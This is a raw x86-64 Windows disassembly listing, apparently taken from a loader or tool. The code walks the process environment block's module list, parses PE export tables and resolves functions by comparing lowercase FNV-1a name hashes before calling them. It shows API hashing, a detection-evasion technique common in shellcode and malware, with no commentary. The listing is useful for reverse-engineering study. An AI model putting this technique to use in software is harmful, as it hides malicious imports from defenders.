cmp rax, qword [rcx]
je 0x14001a5cb
lea rax, [rsp + 0x13b0]
mov qword [rsp + 0xf28], rax
mov rax, qword [rsp + 0xf28]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xefc], eax
mov eax, dword [rsp + 0xefc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xefc], ecx
cmp eax, 0
je 0x14001a5c6
movabs rax, 0x41a60ce890f583f2
mov qword [rsp + 0xf48], rax
mov rax, qword [rsp + 0xf48]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xefc]
mov dword [rsp + 0xf5c], eax
lea rax, [rsp + 0x13b0]
mov qword [rsp + 0xf50], rax
mov r8, qword [rsp + 0xf50]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xf5c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xf44], ecx
mov qword [rsp + 0xf38], rax
mov eax, dword [rsp + 0xf44]
mov dword [rsp + 0xf34], eax
mov rax, qword [rsp + 0xf38]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xf38], rcx
mov al, byte [rax]
mov byte [rsp + 0xf33], al
cmp byte [rsp + 0xf33], 0
je 0x14001a58e
mov cl, byte [rsp + 0xf33]
mov eax, dword [rsp + 0xf34]
mov byte [rsp + 0xf9f], cl
mov dword [rsp + 0xf98], eax
mov eax, dword [rsp + 0xf98]
mov dword [rsp + 0x74], eax
movsx eax, byte [rsp + 0xf9f]
cmp eax, 0x41
jl 0x14001a563
movsx eax, byte [rsp + 0xf9f]
cmp eax, 0x5a
jg 0x14001a563
movsx eax, byte [rsp + 0xf9f]
or eax, 0x20
mov dword [rsp + 0x70], eax
jmp 0x14001a56f
movsx eax, byte [rsp + 0xf9f]
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x74]
mov ecx, dword [rsp + 0x70]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xf34], eax
jmp 0x14001a4d8
mov eax, dword [rsp + 0xf34]
movabs rcx, 0x41a60ce890f583f2
mov qword [rsp + 0xf60], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xf60]
cmp eax, ecx
je 0x14001a601
jmp 0x14001a439
jmp 0x14001a5cb
lea rax, [rsp + 0x13c8]
mov qword [rsp + 0xf88], rax
mov rax, qword [rsp + 0xf88]
mov rcx, qword [rax]
mov qword [rsp + 0xfa0], rcx
mov rcx, qword [rsp + 0xfa0]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14001a363
mov eax, dword [rsp + 0xefc]
mov dword [rsp + 0xf84], eax
lea rax, [rsp + 0x13b0]
mov qword [rsp + 0xf78], rax
mov rax, qword [rsp + 0xf78]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0xf70], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0xf68], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf70]
mov rdx, qword [rsp + 0xf68]
mov r8d, dword [rsp + 0xf84]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xf00], rax
mov rax, qword [rsp + 0xf00]
mov rcx, qword [rsp + 0x320]
mov r8, qword [rcx]
mov rdx, qword [rsp + 0x318]
mov rcx, qword [rsp + 0x310]
call rax
lea rax, [rsp + 0x1078]
mov qword [rsp + 0x340], rax
lea rax, [0x14002d4c0]
mov qword [rsp + 0x338], rax
lea rax, str._4s___Thread_Handle:__t_t0x_p_n
mov qword [rsp + 0x330], rax
lea rax, [rsp + 0x105a]
mov qword [rsp + 0x328], rax
lea rax, [rsp + 0x13f0]
mov qword [rsp + 0xfb8], rax
mov rax, qword [rsp + 0xfb8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x13f0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xfc8], rax
lea rax, [rsp + 0x13d8]
mov qword [rsp + 0xfc0], rax
mov rax, qword [rsp + 0xfc0]
mov rcx, qword [rsp + 0xfc8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xfc8]
mov qword [rsp + 0x1040], rcx
mov rcx, qword [rsp + 0x1040]
mov rdx, qword [rsp + 0x1040]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0x13f8], rcx
mov rcx, qword [rsp + 0xfc8]
mov edx, dword [rsp + 0x13f8]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0x13fc]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0x13d8]
mov qword [rsp + 0xfd0], rax
mov rcx, qword [rsp + 0xfd0]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14001a976
lea rax, [rsp + 0x13d8]
mov qword [rsp + 0xfd8], rax
mov rax, qword [rsp + 0xfd8]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xfac], eax
mov eax, dword [rsp + 0xfac]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xfac], ecx
cmp eax, 0
je 0x14001a971
movabs rax, 0xd61341d4f83feaf6
mov qword [rsp + 0xff8], rax
mov rax, qword [rsp + 0xff8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xfac]
mov dword [rsp + 0x100c], eax
lea rax, [rsp + 0x13d8]
mov qword [rsp + 0x1000], rax
mov r8, qword [rsp + 0x1000]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x100c]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xff4], ecx
mov qword [rsp + 0xfe8], rax
mov eax, dword [rsp + 0xff4]
mov dword [rsp + 0xfe4], eax
mov rax, qword [rsp + 0xfe8]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xfe8], rcx
mov al, byte [rax]
mov byte [rsp + 0xfe3], al
cmp byte [rsp + 0xfe3], 0
je 0x14001a939
mov cl, byte [rsp + 0xfe3]
mov eax, dword [rsp + 0xfe4]
mov byte [rsp + 0x104f], cl
mov dword [rsp + 0x1048], eax
mov eax, dword [rsp + 0x1048]
mov dword [rsp + 0x6c], eax
movsx eax, byte [rsp + 0x104f]
cmp eax, 0x41
jl 0x14001a90e
movsx eax, byte [rsp + 0x104f]
cmp eax, 0x5a
jg 0x14001a90e
movsx eax, byte [rsp + 0x104f]
or eax, 0x20
mov dword [rsp + 0x68], eax
jmp 0x14001a91a
movsx eax, byte [rsp + 0x104f]
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x68]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xfe4], eax
jmp 0x14001a883
mov eax, dword [rsp + 0xfe4]
movabs rcx, 0xd61341d4f83feaf6
mov qword [rsp + 0x1010], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x1010]
cmp eax, ecx
je 0x14001a9ac
jmp 0x14001a7e4
jmp 0x14001a976
lea rax, [rsp + 0x13f0]
mov qword [rsp + 0x1038], rax
mov rax, qword [rsp + 0x1038]
mov rcx, qword [rax]
mov qword [rsp + 0x1050], rcx
mov rcx, qword [rsp + 0x1050]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14001a70e
mov eax, dword [rsp + 0xfac]
mov dword [rsp + 0x1034], eax
lea rax, [rsp + 0x13d8]
mov qword [rsp + 0x1028], rax
mov rax, qword [rsp + 0x1028]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x1020], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x1018], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1020]
mov rdx, qword [rsp + 0x1018]
mov r8d, dword [rsp + 0x1034]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0xfb0], rax
mov rax, qword [rsp + 0xfb0]
mov rcx, qword [rsp + 0x340]
mov r8, qword [rcx]
mov rdx, qword [rsp + 0x338]
mov rcx, qword [rsp + 0x330]
call rax
mov rcx, qword [rsp + 0x1400]
xor rcx, rsp
call fcn.14002cd90
nop
add rsp, 0x1408
ret